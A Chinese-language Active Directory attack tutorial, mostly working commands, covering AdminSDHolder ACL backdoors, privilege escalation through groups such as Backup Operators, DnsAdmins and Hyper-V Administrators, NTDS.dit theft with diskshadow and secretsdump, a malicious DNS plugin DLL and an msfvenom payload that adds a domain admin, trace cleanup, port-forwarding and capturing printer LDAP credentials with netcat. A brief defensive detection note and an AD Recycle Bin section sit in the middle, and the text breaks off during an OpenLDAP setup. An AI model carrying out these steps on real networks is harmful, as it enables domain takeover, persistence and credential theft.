AdminSDHolder对象的目的是为域内受保护的用户和组提供权限的“模板”,其在LDAP上的路径为:

CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>

AdminSDHolder由Domain Admins组拥有,默认情况下,EA可以对任何域的AdminSDHolder对象进行更改,域的Domain Admins和Administrators组也可以进行更改。

尽管AdminSDHolder的默认所有者是域的Domain Admins组,但是Administrators或Enterprise Admins的成员可以获取该对象的所有权。

SDProp

SDProp是一个进程,该进程每60分钟(默认情况下)在包含域的PDC模拟器(PDCE)的域控制器上运行

SDProp将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,这也是为什么修改了用户对AdminSDHolder组的ACL后,还需要等待60分钟的原因。

利用

既然默认每60分钟SDProp会将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,那么我们完全可以对AdminSDHolder添加ACL来留后门。

  1. 添加ACL

**使用****PowerView工具**

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=ww1,DC=com' -PrincipalIdentity man08 -Rights All

qhruuglpuqq12196.png

使用Admod工具

Admod.exe -b "CN=AdminSDHolder,CN=System,DC=ww1,DC=com" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;ww1\man08)}"

ipipb2nda1f12200.png

修改了AdminSDHolder组的ACL之后,我们发现man08用户还是不具备高权限的。

vj41rh3q5tb12203.png

因为SDProp还没有将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较并修改。这里我们可以选择等待60分钟,或者直接修改执行间隔或者直接执行进行权限提升操作。

  1. 快速的执行SDProp

修改默认时间

如果需要修改60min的执行时间间隔,只需要在注册表中添加或修改AdminSDProtectFrequency的值。

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

该值的范围是从60到7200,单位为秒,键类型为DWORD。

可以直接使用命令行更改:

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

如果需要恢复为默认的60min,则可以在注册表中删除AdminSDProtectFrequency这一项。

也可以使用一个PowerShell脚本。

https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

手动执行

启动Ldp.exe,然后选择菜单栏中“连接”-> “连接”。

cvtmwpbpjfw12207.png

选择菜单栏菜单栏中“连接”->”绑定“。

d1d2x33gg0d12213.png

选择菜单栏菜单栏中“浏览”->“修改”。

xbyclct0vcm12220.png

在修改窗口这里针对不同版本的域控制器有不同的情况:

  • 域控为Windows Server 2008: 将“DN”字段留空。在“编辑条目属性”字段中,输入FixUpInheritance,在“值”字段中,输入Yes。单击输入填充条目列表。
  • 域控为Windows Server 2008 R2或Windows Server 2012之后的版本: 将“DN”字段留空。在“编辑条目属性”字段中,输入RunProtectAdminGroupsTask,在“值”字段中,输入1。单击输入填充条目列表。

点击“输入”->”运行“。

cfermv55hk012227.png

运行成功后,发现已经拥有了高权限。

qry0iistm4a12234.png

  1. 防御与检测

该攻击手法的核心点在于需要修改AdminSDHolder的ACL,因此我们只需要检测对AdminSDHolder的ACL的修改行为即可,可以通过5136日志来监控。

b3m1cmomzw012241.png

AD Recycle Bin

//这不是powerview命令,而是Microsoft的AD管理powershell模块中的一项功能,您需要在AD的“AD回收站”组中才能列出已删除的AD对象

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

44cv120bw0z12246.png

在Windows 2008或Windows 2003中,你必须用备份恢复的方法才能恢复一个被误删的AD对象。这个方法非常麻烦。现在,Windows 2008 R2引入一个新的功能:AD Recycle Bin。就如同普通的回收站一样,这个工具暂时保留了被删除对象,你可以随时从回收站中取回。

需要注意的几点注意事项:

  1. 这是Windows 2008 R2才有的新功能。
  2. 这个功能默认是关闭的;必须手动启动。
  3. 启用AD回收站的这个操作不可逆转(irrersible),也就是说,Enable之后不能Disable。只能通过Restore AD环境来恢复。
  4. 要启用,AD必须升级到2008 R2 level (升级AD level必须在企业管理员权限下用adprep命令)。
  5. 启用时,所有启用前被删除的AD对象都会被转换成recyled对象,在deleted objects容器中将不能找到它们。要恢复这些对象,唯一的方法就是通过AD备份的恢复,将AD环境恢复到启用之前。
  6. 启用后,删除的AD对象变成了一个Deleted对象,Delete对象可以恢复。一段时间后,Delete对象的生命周期结束,就会转变成Recycled对象,这些对象不再能被恢复。最终通过Garbage收集的方法被删除掉。

dqotwabegce12251.png

启用AD Recycle Bin的方法,参见文档

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

恢复AD对象,可以用Powershell命令。

这里推荐一个免费的小工具,它提供了一个很简单易用的GUI

ADRecycleBin.exe

http://www.overall.ca/index.php?option=com_docman&task=doc_download&gid=68&Itemid=11

参考连接:

What's New in AD DS: Active Directory Recycle Bin

http://technet.microsoft.com/en-us/library/dd391916(WS.10).aspx

Active Directory Recycle Bin Step-by-Step Guide

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

Server Operators

Server Operators是域控的本地组,其组员拥有管理域控制器的权利,例如在域控制器上登录域;建立、管理、删除域控制器上的共享文件夹与共享打印机;备份与还原文件;锁定与解开域控制器;将域控制器上的硬盘格式化;更改系统的时间;将域控制器关闭等。

此成员资格允许用户使用以下权限配置域控制器:

  • 允许本地登录
  • 备份文件和目录
  • 更改系统时间
  • 更改时区
  • 从远程系统强制关闭
  • 恢复文件和目录
  • 关闭系统
  • SeBackupPrivilege 和 SeRestorePrivilege

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#serestoreprivilege-3.1.5

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sebackupprivilege-3.1.4

  • 控制本地服务

当用户没有加入Server Operators组时,无法访问域控的资源。

y22iuywhbra12253.png

将该用户加入Server Operators组,发现权限提升。

fibl1byj2dv12256.png

l1ikrmrmob012260.png

Get-NetGroupMember -Identity "Server Operators" -Recurse

Privesc

使用来自Sysinternals的PsService(PsTools)或sc工具来检查服务的权限。

https://learn.microsoft.com/en-us/sysinternals/downloads/psservice

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility

Copyright (C) 2001-2010 Mark Russinovich

Sysinternals - www.sysinternals.com

[...]

[ALLOW] BUILTIN\Server Operators

All

这确认了Server Operators组具有SERVICE_ALL_ACCESS访问权限,这使我们能够完全控制此服务。

您可以滥用此服务,使该服务执行任意命令并提升权限。

Backup Operators

与Server Operators成员身份一样,如果我们属于Backup Operators,则可以访问域控的文件系统。

j13s4j3o1db12267.png

sveqghjodet12273.png

Backup Operators组授予其成员SeBackupSeRestore特权。 SeBackupPrivilege使我们能够遍历任何文件夹并列出文件夹内容。这将让我们从文件夹中复制文件,即使没有其他权限也可以执行。

然而,为了滥用此权限来复制文件,则必须使用标志FILE_FLAG_BACKUP_SEMANTICS ****。因此需要使用特殊工具。

https://github.com/giuliano108/SeBackupPrivilege

# Import libraries

Import-Module .\SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege

Set-SeBackupPrivilege

Get-SeBackupPrivilege

# List Admin folder for example and steal a file

dir C:\Users\Administrator\

Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

当然,也可以滥用这个访问权限来窃取活动目录数据库NTDS.dit,以获取域中所有用户和计算机对象的所有NTLM散列值。

使用diskshadow工具,您可以在C盘(或其他位置)创建一个卷影副本,例如在F盘上。然后,您可以从该卷影副本中窃取NTDS.dit文件,因为系统不会使用它。

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

diskshadow.exe

Microsoft DiskShadow version 1.0

Copyright (C) 2013 Microsoft Corporation

On computer: DC, 10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on

DISKSHADOW> set metadata C:\Windows\Temp\meta.cab

DISKSHADOW> set context clientaccessible

DISKSHADOW> set context persistent

DISKSHADOW> begin backup

DISKSHADOW> add volume C: alias cdrive

DISKSHADOW> create

DISKSHADOW> expose %cdrive% F:

DISKSHADOW> end backup

DISKSHADOW> exit

再使用上面的方法,获取访问文件的权限后,提取ntds.dit。

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

或者使用另一种方式复制文件,当然前提是SeBackupPrivilege功能为开启状态。

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

reg save HKLM\SYSTEM SYSTEM.SAV

reg save HKLM\SAM SAM.SAV

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

属于DNSAdmins组或具有对DNS服务器对象的写权限的用户可以使用SYSTEM特权在DNS服务器上加载任意DLL。大部分情况下DNS服务器也是建立在域控机器上。

根据这篇文章所示,当DNS运行在域控制器上时(这是非常常见的情况),可以执行以下攻击:

  1. DNS管理是通过RPC进行的。
  2. ServerLevelPluginDll允许我们加载一个自定义的DLL,并且不验证DLL路径。可以使用命令行工具dnscmd来完成此操作。
  3. 当DnsAdmins组的成员运行下面的dnscmd命令时,注册表键将被填充。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

  1. 当DNS服务重新启动时,将加载该路径中的DLL(例如,域控制器的机器帐户可以访问的网络共享)。
  2. 攻击者可以加载一个自定义的DLL以获取反向shell,甚至加载像Mimikatz这样的工具作为DLL来转储凭据。

如前所述,我们需要构建一个 DNS 插件 DLL,将其注入到受害者 DNS 服务器 (DC) 上的 dns.exe 进程中。

如果您在 DNSAdmins 组中有一个用户,则可以使 DNS 服务器使用 SYSTEM 特权加载任意 DLL(DNS 服务以 NT AUTHORITY\SYSTEM 运行)。您可以通过执行以下命令使 DNS 服务器加载本地或远程(通过 SMB 共享的)DLL 文件。

dnscmd是一个 Windows 实用程序,允许有DnsAdmins权限的人管理 DNS 服务器。可以通过添加DNS Server Tools到您的系统来安装该实用程序,如下面的屏幕截图所示。

rupj3e4ajhn12278.png

//dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll

//dnscmd [dc.computername] /config /serverlevelplugindll \1.2.3.4\share\DNSAdmin-DLL.dll

//注意,远程加载DLL不能使用$符号进行加载,例如\\10.10.10.10\c$\1.dll,这样是无法成功加载的。

示例DLL:https://github.com/kazkansouh/DNSAdmin-DLL

修改恶意代码为如下。

hsqun1jdatj12284.png

加载DLL。

dnscmd ad-1-2016 /config /serverlevelplugindll \\10.10.10.106\c$\Users\man12\Desktop\DNSAdmin-DLL.dll

doophb1vswy12290.png

在默认情况下在 DNSAdmin 组中具有用户,也无法停止和重新启动 DNS 服务。但您可以尝试执行如下命令。

sc.exe \\ad-1-2016 stop dns

sc.exe \\ad-1-2016 start dns

xccoacxzpdg12296.png

tj2eezi50jt12299.png

提权成功后可以清除DNSAdminis后门。

reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

sc.exe \\10.0.0.6 stop dns

sc.exe \\10.0.0.6 start dns

//remove any other traces/logs

当然,也可以使用 msfvenom 生成 dll,弹shell到目标机器,或者执行命令。

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

mimilib.dll

正如下面这篇文章中详细描述的那样,还可以使用 Mimikatz 工具的创建者提供的 mimilib.dll 来修改 kdns.c 文件,以执行逆向 shell 或其他我们选择的命令来获取命令执行权限。

http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

rtgkupxmdwe12306.png

中间人攻击的 WPAD 记录

滥用 DnsAdmins 组权限的另一种方式是创建一个 WPAD 记录。

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks

https://learn.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps

在该组中的成员具有禁用全局查询阻止安全性的权限,而默认情况下会阻止此类攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的功能。默认情况下,Web 代理自动发现协议(WPAD)和站内自动隧道寻址协议(ISATAP)在全局查询阻止列表中。这些协议非常容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。

在禁用全局查询阻止列表并创建 WPAD 记录之后,使用默认设置运行 WPAD 的每台计算机的流量都将通过我们的攻击机器进行代理。我们可以使用工具如 Responder 或 Inveigh 进行流量欺骗,并尝试捕获密码哈希并在离线状态下破解,或者进行 SMBRelay 攻击。

https://github.com/lgandx/Responder

https://github.com/Kevin-Robertson/Inveigh

Event Log Readers

Event Log Readers组的成员具有访问生成的事件日志(例如新进程创建日志)的权限。在这些日志中可能包含敏感信息。让我们来看看如何可视化这些日志。

Get members of the group

Get-NetGroupMember -Identity "Event Log Readers" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"

wevtutil qe Security /rd:true /f:text | Select-String "/user"

# Using other users creds

wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell

Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Exchange Windows Permissions

Exchange Windows Permissions是指Exchange在Windows环境中的权限。成员被授予编写DACL(Discretionary Access Control List)到域对象的权限。攻击者可以滥用这一权限,赋予用户DCSync特权。

如果在AD环境中安装了Microsoft Exchange,通常会发现用户帐户甚至计算机作为该组的成员。

这个GitHub存储库解释了滥用这个组权限来提升权限的一些技术。

https://github.com/gdedrouas/Exchange-AD-Privesc

Get members of the group

Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell

Hyper-V管理员组对所有Hyper-V功能具有完全访问权限。如果域控制器已经虚拟化,那么虚拟化管理员应被视为域管理员。他们可以轻松创建一个实时域控制器的克隆,并以离线方式挂载虚拟磁盘以获取NTDS.dit文件,并提取域中所有用户的NTLM密码哈希。

https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/

在这个博客上也有详细文档说明,当删除一个虚拟机时,vmms.exe会尝试以NT AUTHORITY\SYSTEM身份恢复相应的.vhdx文件的原始文件权限,而无需模拟用户。我们可以删除.vhdx文件,并创建一个本地的硬链接,将此文件指向一个受保护的SYSTEM文件,从而获得完全权限。

如果操作系统存在CVE-2018-0952或CVE-2019-0841漏洞,我们可以利用其来获取SYSTEM特权。否则,我们可以尝试利用服务器上安装了以SYSTEM上下文运行的服务的应用程序,这些服务可被非特权用户启动。

利用示例 一个例子是Firefox,它安装了Mozilla Maintenance Service。我们可以更新这个漏洞(一个用于NT硬链接的概念证明),以授予当前用户对以下文件的完全权限:

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

获取文件所有权

运行PowerShell脚本后,我们应该对此文件拥有完全控制权,并可以获取其所有权。

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

启动Mozilla

Maintenance Service 接下来,我们可以使用一个恶意的maintenanceservice.exe替换这个文件,启动维护服务,并以SYSTEM身份执行命令。

C:\htb> sc.exe start MozillaMaintenance

注意:这个漏洞已通过2020年3月的Windows安全更新进行了缓解,该更新改变了与硬链接相关的行为。

Organization Management

该组也存在安装了Microsoft Exchange的环境中。

该组的成员可以访问所有域用户的邮箱。

该组还对名为Microsoft Exchange Security Groups的OU具有完全控制权限,其中包含了组Exchange Windows Permissions。

Print Operators

该组的成员被授予以下权限:

  • SeLoadDriverPrivilege
  • 在本地登录到域控制器并关闭它
  • 管理、创建、共享和删除连接到域控制器的打印机的权限

如果从非提升的上下文中运行 whoami /priv 命令未显示 SeLoadDriverPrivilege,则需要绕过UAC。

获取该组的成员。

Get-NetGroupMember -Identity "Print Operators" -Recurse

请在此页面中查看如何滥用 SeLoadDriverPrivilege 进行权限提升:

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege

Remote Desktop Users

此组的成员可以通过RDP访问PC。

获取组成员。

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

https://book.hacktricks.xyz/network-services-pentesting/pentesting-rdp

Remote Management Users

此组的成员可以通过WinRM访问PC。

Get-NetGroupMember -Identity "Remote Management Users" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm

Kerberos双跳问题

Kerberos双跳是用来描述我们在两个或多个连接上维护客户端Kerberos身份验证凭据的方法。通过这种方式,我们可以保留用户的凭据,并代表用户在与其他服务器进行进一步连接时进行操作。

Kerberos TGT是用户的身份标识。当我们将该票证与服务票证一起传递时,我们可以重新使用KrbTGT请求其他服务票证,以便在我们的网络上与我们的服务资源进行通信。

执行Kerberos双跳需要满足一些要求。服务账户需要被信任以进行委派,也就是说它必须被信任代表其他用户执行操作。源服务器和目标服务器必须在同一个域中,或者在不同域之间存在森林级别的信任关系,并且第一级服务账户必须位于受信任的域根目录中。

Kerberos双跳流程:

第一步 - 客户端提供凭据,域控制器向客户端返回一个Kerberos TGT(票证授予票)。

第二步 - 客户端使用TGT请求一个服务票证,以连接到服务器1。

第三步 - 客户端连接到服务器1,并提供TGT和服务票证。

第四步 - 服务器1使用客户端的TGT请求一个服务票证,以便服务器1可以连接到服务器2。

第五步 - 服务器1使用客户端的凭据连接到服务器2。

也就是说,当我们使用凭据,例如使用powershell进行远程连接机器A,然后在机器A上直接使用之前验证的凭据访问服务B。

具体实例:

客户端运行IE7,并连接到一个使用Windows身份验证的Web服务器。客户端机器需要是域或受信任域的成员,并且需要启用集成的Windows身份验证。

Web服务器机器名为WEB1.mydomain.com,并且使用一个服务账户mydomain\webadmin。webadmin账户已经为HTTP/WEB1和HTTP/WEB1.mydomain.com注册了SPN(服务主体名称)。webadmin账户已经启用了对MSSQLSVC/SQL1.mydomain.com的受限委派。

SQL服务器的机器名为SQL1.mydomain.com,其SQL服务的服务账户为mydomain\sqladmin。sqladmin账户已经为MSSQLSVC/SQL1.mydomain.com注册了SPN。

在上述示例配置中,客户端正在连接http://web1,以便访问存储在后端SQL服务器SQL1上的数据。Web页面托管了从SQL检索数据的代码。用户账户用于对Web服务器进行身份验证。Web服务器利用其受限委派功能,代表用户请求Kerberos票证,以连接到SQL1。如果我们审计这些连接,我们将看到用户账户被用于访问Web页面和SQL服务器上的数据。这是一个典型的Kerberos双跳的示例,但我们可以很容易地扩展该场景以包含更多的跳转。理论上,只要我们启用了委派并保留了正确的服务主体名称注册,我们可以不断扩展这个示例。

双跳问题

使用2016-WSUS机器使用管理员账户远程连接WEB-2012机器,再使用之前认证的凭据连接AD-2016。

//交互式

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator
//非交互

Invoke-Command-ComputerName <计算机名或IP地址> -Credential <凭据> -ScriptBlock { # 在此处输入您要在远程主机上执行的命令 }

m1u3qktxem412309.png

直接使用该凭据连接AD-2016,发现拒绝访问。

44snbqrjjcm12315.png

因为当通过Kerberos进行身份验证时,凭据不会缓存在内存中。因此,当 web-2012 中的 User1 尝试登录第二台服务器时,他无法进行身份验证。

解决办法
非约束委派

如果机器中启用了无约束委派,则不会发生这种情况,因为服务器将获取每个访问它的用户的TGT。

CredSSP

根据微软的说法: “CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到入侵,当凭据传递给它时,这些凭据可以用于控制网络会话。” 如果您发现在生产系统、敏感网络等地方启用了CredSSP,建议将其禁用。可以通过运行Get-WSManCredSSP来快速检查CredSSP的状态。如果启用了WinRM,还可以远程执行此命令。

查看CredSSP的状态。

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator -ScriptBlock { Get-WSManCredSSP }

利用命令:

https://learn.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7.3

开启CredSSP。

Enable-WSManCredSSP -Role "Client" -DelegateComputer "web-2012.vvvv1.com"

Enable-WSManCredSSP -Role "Server"

zqwim5jjiyu12321.png

添加参数-Authentication Credssp,使用Credssp进行认证。

https://blog.idera.com/database-tools/solving-double-hop-remoting-with-credssp

Invoke-Command -ComputerName web-2012.vvvv1.com -Authentication Credssp -Credential VVVV1\administrator -ScriptBlock {dir \\ad-2016.vvvv1.com\c$ }

qfpzwwoxg3412326.png

禁用WSMan CredSSP。

Disable-WSManCredSSP -Role Client

Disable-WSManCredSSP -Role Server

调用命令

其实这就是一个嵌套的Invoke-Command。

这将在第二台服务器上运行:hostname。

$cred=Get-Credential VVVV1\administrator

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential $cred -ScriptBlock{

Invoke-Command -ComputerName ad-2016.vvvv1.com -Credential $Using:cred -ScriptBlock{hostname}

}

或者与第一个服务器建立PS-Session ,然后简单地从那里运行而不是嵌套它。相当于连接到第一个服务器后再保存一个可用的凭据。

# From the WinRM connection

$pwd = ConvertTo-SecureString 'admin!@#45ad' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('VVVV1\administrator', $pwd)

# Use "-Credential $cred" option in Powerview commands

qinn4zgttty12330.png

注册会话配置

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator

# Register a new PS Session configuration

//在server1上运行

Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential VVVV1\administrator

# Restar WinRM

Restart-Service WinRM

# Get a PSSession

Enter-PSSession -ConfigurationName doublehopsess -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator

# Check that in this case the TGT was sent and is in memory of the PSSession

//凭据被绑定到内存中。

klist

# In this session you won't have the double hop problem anymore

mgnwxio10ge12335.png

端口代理

https://posts.slayerlabs.com/double-hop/

因为我们在中间目标机器 bizintel: 10.35.8.17 上有本地管理员权限,所以可以添加一个端口转发规则,将您的请求发送到最终/第三台服务器 secdev: 10.35.8.23。

您可以使用 netsh 快速提取一个单行命令并添加规则。

netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23

这样 bizintel 将监听端口 5446,并将收到的请求转发到 secdev 的端口 5985(也称为 WinRM)。

然后打开 Windows 防火墙的端口,也可以使用快速 netsh 命令完成。

netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446

现在建立会话,这将将我们转发到 secdev。

dyfoywcttzc12348.png

当使用 winrs.exe 时,端口转发 WinRM 请求似乎也是有效的。如果您意识到 PowerShell 正在被监控,这可能是一个更好的选择。下面的命令将返回 "secdev" 作为主机名的结果。

winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname

与 Invoke-Command 类似,这可以很容易地编写脚本,以便攻击者可以将系统命令作为参数发出。一个通用的批处理脚本示例 winrm.bat:

nchvwixso2h12352.png

OpenSSH

这种方法需要在中间服务器(即 bizintel)上安装 OpenSSH。在 Windows 上安装 OpenSSH 可以完全通过命令行界面进行,并且不需要太多时间 - 而且它不会被标记为恶意软件!

https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH

当然,在某些情况下,这可能不可行、过于繁琐或可能存在一般的操作安全风险。

在跳板机设置上,这种方法可能特别有用 - 可以访问否则无法访问的网络。建立 SSH 连接后,用户/攻击者可以根据需要启动尽可能多的 New-PSSession 来针对分段网络进行操作,而不会遭遇双跳问题。

当在 OpenSSH 中配置为使用密码身份验证时(而不是密钥或票证),登录类型为 8,即网络明文登录。这并不意味着您的密码以明文形式发送 - 实际上,它是通过 SSH 加密的。到达目的地后,通过其身份验证机制将其解密为明文,供您的会话进一步请求有价值的票证(TGT)!

这使得中间服务器能够代表您请求和获取 TGT,并在中间服务器上本地存储。然后,您的会话可以使用此 TGT 对其他服务器进行身份验证(PS 远程)。

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN

OpenSSH 安装场景: 从 GitHub 上下载最新的 OpenSSH 发布压缩包,并将其移到攻击者的机器上(或直接下载到跳板机)。

https://github.com/PowerShell/Win32-OpenSSH/releases

将压缩包解压到您想要的位置。然后,运行安装脚本 - Install-sshd.ps1。

0d3ymasvpd212355.png

最后,只需添加一个防火墙规则来打开端口22。验证 SSH 服务是否已安装并启动它们。这两个服务都需要运行才能使 SSH 正常工作。

cjq3sbon2ak12358.png

如果收到Connection reset错误,请更新权限以允许所有人:在 OpenSSH 根目录上读取和执行。

icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T

csongee2zes12364.png

打印机中的AD信息

互联网上有几篇博客强调了将打印机配置为具有默认/弱登录凭据的 LDAP 的危险性。

这是因为攻击者可以欺骗打印机对一个恶意的 LDAP 服务器进行身份验证(通常 nc -vv -l -p 444 足够),从而在明文中获取打印机凭据。此外,一些打印机可能会包含记录用户名的日志,甚至可以从域控制器上下载所有用户名。所有这些敏感信息以及常见的安全缺失使得打印机对攻击者非常有吸引力。

https://www.ceos3c.com/security/obtaining-domain-credentials-printer-netcat/

https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856

https://grimhacker.com/2018/03/09/just-a-printer/

打印机管理界面

与许多系统类似,Konica Minolta 打印机在端口 80/443 上提供了一个 Web 管理界面。要访问管理设置,需要密码,但不幸的是,对于许多组织而言,它有一个默认密码,可以通过快速的谷歌搜索找到。根据型号的不同,有几种变化,但通常我发现密码是 '1234567812345678' 或 '12345678'。

有各种选项可用,但最近引起我注意的是 LDAP 连接设置。

关于 LDAP 和 AD 的简要说明 "轻型目录访问协议(LDAP)是在 TCP/IP 协议栈之上运行的目录服务协议,它提供了一种用于连接、搜索和修改 Internet 目录的机制。"

https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx

在 Windows 域环境中,您可以使用 LDAP 与 Active Directory 进行交互。

AD 将允许披露少量信息的 "null bind"(即没有用户名或密码),但不像以前那样会泄露很多信息。为了获取用户列表,必须使用有效的用户名和密码绑定到服务器。

LDAP 设置 在 Konica Minolta 打印机上,可以配置一个 LDAP 服务器进行连接,并提供凭据。在这些设备的早期固件版本中,我听说可以通过阅读页面的 HTML 源代码来恢复凭据。然而,现在凭据不会在界面中返回,所以我们需要更努力一点。

LDAP 服务器列表位于:网络 > LDAP 设置 > 设置 LDAP

界面允许在不重新输入将用于连接的凭据的情况下修改 LDAP 服务器。我猜这是为了更简单的用户体验,但这给了攻击者从打印机的控制权限升级为域的起点的机会。

我们可以将 LDAP 服务器地址设置为我们控制的机器,并使用有用的 "测试连接" 功能触发连接。

监听

正常情况下可以直接使用netcat进行监听获取凭据。

sudo nc -k -v -l -p 386

我发现打印机首先尝试进行一个空绑定(null bind),然后查询可用的信息,只有在这些操作成功后才会使用凭据进行绑定。

我搜索了一下满足要求的简单 LDAP 服务器,但选择似乎有限。最后,我选择设置了一个开放的 LDAP 服务器,并使用 slapd 调试服务器服务来接受连接并打印出打印机的消息。(如果您知道更简单的替代方案,我很乐意听听。)

安装

https://www.server-world.info/en/note?os=Fedora_26&p=openldap

从根终端:

安装 OpenLDAP。

> dnf install -y install openldap-servers openldap-clients

> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG

> chown ldap. /var/lib/ldap/DB_CONFIG

设置 OpenLDAP 管理员密码(您很快将再次需要此密码)。

> slappasswd

New password:

Re-enter new password:

{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> vim chrootpw.ldif

# specify the password generated above for "olcRootPW" section

dn: olcDatabase={0}config,cn=config

changetype: modify

add: olcRootPW

olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "olcDatabase={0}config,cn=config"

导入基本架构。

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=cosine,cn=schema,cn=config"

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=nis,cn=schema,cn=config"

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=inetorgperson,cn=schema,cn=config"

在 LDAP DB 上设置您的域名。

# generate directory manager's password

> slappasswd

New password:

Re-enter new password:

{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> vim chdomain.ldif

